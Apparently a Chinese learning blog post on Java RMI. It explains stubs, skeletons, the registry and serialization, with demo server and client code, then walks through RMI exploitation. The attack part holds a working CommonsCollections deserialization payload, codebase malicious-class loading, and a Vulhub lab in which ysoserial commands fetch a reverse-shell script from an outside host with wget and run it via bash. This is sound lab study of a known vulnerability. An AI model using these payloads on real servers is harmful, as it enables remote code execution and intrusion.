什么是RMI
RMI 是远程⽅法调⽤的简称,能够帮助我们查找并执⾏远程对象的⽅法。通俗地说,远程调⽤就象将⼀个 class 放在 A 机器上,然后在 B 机器中调⽤这个 class 的⽅法。
RMI ( Remote Method Invocation ),为远程⽅法调⽤,是允许运⾏在⼀个 Java 虚拟机的对象 调⽤运⾏在另⼀个Java 虚拟机上的对象的⽅法。 这两个虚拟机可以是运⾏在相同计算机上的不同 进程中,也可以是运⾏在⽹络上的不同计算机中。
Java RMI ( Java Remote Method Invocation ),是 Java 编程语⾔⾥⼀种⽤于实现远程过程 调⽤的应⽤程序编程接⼝。它使客户机上运⾏的程序可以调⽤远程服务器上的对象。远程⽅法调⽤ 特性使 Java 编程⼈员能够在⽹络环境中分布操作。 RMI 全部的宗旨就是尽可能简化远程接⼝对象的 使⽤。 从客户端- 服务器模型来看,客户端程序直接调⽤服务端,两者之间是通过 JRMP ( Java Remote Method Protocol )协议通信,这个协议类似于 HTTP 协议,规定了客户端和服务端通信要满⾜的规范。
Stub和Skeleton
简单来说就是客户端与服务端之间通信的代理
其中位于客户端的代理类称为Stub 即存根(包含服务器 Skeleton 信息),位于服务端的代理类称为 Skeleton 即⻣⼲⽹。
RMI registry 注册中心
远程对象是存在于服务端以供客户端调⽤⽅法的对象。
任何可以被远程调⽤的对象都必须实现 java.rmi.Remote 接⼝,远程对象的实现类必须继承 UnicastRemoteObject 类。
这个远程对象中可 能有很多个函数,但是只有在远程接⼝中声明的函数才能被远程调⽤,其他的公共函数只能在本地的 JVM 中使⽤。
远程对象
远程对象是存在于服务端以供客户端调⽤⽅法的对象。任何可以被远程调⽤的对象都必须实现 java.rmi.Remote 接⼝,远程对象的实现类必须继承 UnicastRemoteObject 类。这个远程对象中可 能有很多个函数,但是只有在远程接⼝中声明的函数才能被远程调⽤,其他的公共函数只能在本地的 JVM 中使⽤。
序列化
各个节点之间的通信都是通过序列化后的数据进行传输
反序列化时会调用readObject()
,我们对其重写便可达到执行命令的目的(这个之后西索
这些传输的对象必须可以被序列化,相应的类必须实现 java.io.Serializable 接⼝,并且客户端的 serialVersionUID 字段要与服务器端保持⼀致。
流程 & 搭建RMI
实现接口
//HelloService.java
package main;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloService extends Remote {
//继承Remote
public String service(String data) throws RemoteException;
//返回字符串的一个函数
}
实现类
//HelloServiceImpl.java
package main;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// Inherit UnicastRemoteObject and implement HelloService interface
public class HelloServiceImpl extends UnicastRemoteObject
implements HelloService {
private static final long serialVersionUID = 1L;
private String name;
public HelloServiceImpl(String name) throws RemoteException {
super();
this.name = name;
// UnicastRemoteObject.exportObject(this, 0);
}
@Override
public String service(String data) throws RemoteException {
return data + name;
}
//实现了接口的功能
}
服务端搭建
//Server.java
package main;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Server {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(2333);
//创建一个在端口2333上监听的RMI注册表
HelloService service1 = new HelloServiceImpl("service1");
Context namingContext = new InitialContext();
namingContext.rebind("rmi://localhost:2333/HelloService1",
service1);
//将远程对象绑定到注册表,service1为远程接口的代理对象
}
catch (RemoteException | NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("Successfully register a remote object.");
//远程对象创建成功
}
}
客户端搭建
//Client.java
package main;
import java.rmi.RemoteException;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) {
// TODO Auto-generated method stub
String url = "rmi://localhost:2333/";
try {
Context namingContext = new InitialContext();
HelloService serv = (HelloService) namingContext.lookup(
url + "HelloService1");
String data = "当你看到这句话时,意味着RMI运行成功";
System.out.println(serv.service(data));
}
catch (NamingException | RemoteException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
过程
首先,服务端生成一个远程对象,之后服务端向注册中心注册该远程对象,
此时运行客户端,客户端会向注册中心查找该远程对象,注册中心便会向客户端返回stub代理,
客户端拿到stub,通过它调用远程对象的方法(用ip和端口连接到RMI服务器),stub与服务端的skleton进行通信
接收到请求的skleton在服务端内调用该远程方法,并返回了执行结果
再次通过代理通信返回个客户端
-
首先运行服务端,再运行客户端便可得到
创建远程对象成功
关闭客户端后服务端也会关闭
RMI利用
试探RMI服务
RMI注册中心只有对于来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。 不过list和lookup方法可以远程调用。
于是我们可以使用该工具去嗅探和攻击
在此时我们启动Server
同时使用该工具进行枚举类
java -jar .\BaRMIe_v1.01.jar -enum 127.0.0.1 2333
可以看到类名等注册中心的信息
攻击RMI服务端
如同刚开始所说的,RMI通信都是传递序列化数据,于是存在java反序列化漏洞
而反序列化的操作在服务端和客户端都有,于是都存在漏洞(readObject)让对方利用
使用同样的工具 用攻击模式可以指定使用不同的反序列化链去攻击
package com.rmidemo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
复制了段payload,可以发现客户端将恶意反序列化数据(CC链)发送到了服务端
动态加载恶意类
codebase
值得一提的是,由于codebase的指定是相互的,所以,只要满足条件客户端与服务端是可以相互攻击的~
RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类。
如果当前JVM中没有某个类的定义(即CLASSPATH下没有),它可以根据codebase去下载这个类的class,然后动态加载这个对象class文件。
codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类;CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。所以动态加载的class文件可以保存在web服务器、ftp中。
如果我们指定 codebase=http://example.com/ ,动态加载 org.vulhub.example.Example 类, 则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class ,并作为 Example类的字节码。
那么只要控制了codebase,就可以加载执行恶意类。
利用限制条件:
安装并配置了SecurityManager
Java版本低于7u21、6u45,
或者设置了 java.rmi.server.useCodebaseOnly=false
最主要的是服务端的codebase可控
JNDI注入
md怎么都六月了,这个之后单开西索
Vulhub的Java RMI Registry 反序列化漏洞
学习Vulhub的Java RMI Registry 反序列化漏洞(<=jdk8u111)
https://github.com/vulhub/vulhub/tree/master/java
用gitzip下载指定的github文件夹(要用chrome,edge死活用不了
docker compose build
docker compose run -e RMIIP=your-ip -p 1099:1099 rmi
这里在本地执行了,所以ip是127.0.0.1
通过ysoserial的exploit包中的RMIRegistryExploit进行攻击
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections6 "curl ip"
curl vps,同时监听端口,得到
实测不能直接将shell反弹,需要将反弹shell放在.sh
然后在payload中用
(这里直接复制了)
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 144.34.162.13 1099 CommonsCollections6 "wget http://ip/ailx10.sh -O /tmp/shell"
执行sh文件
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 144.34.162.13 1099 CommonsCollections6 "bash /tmp/shell"
getshell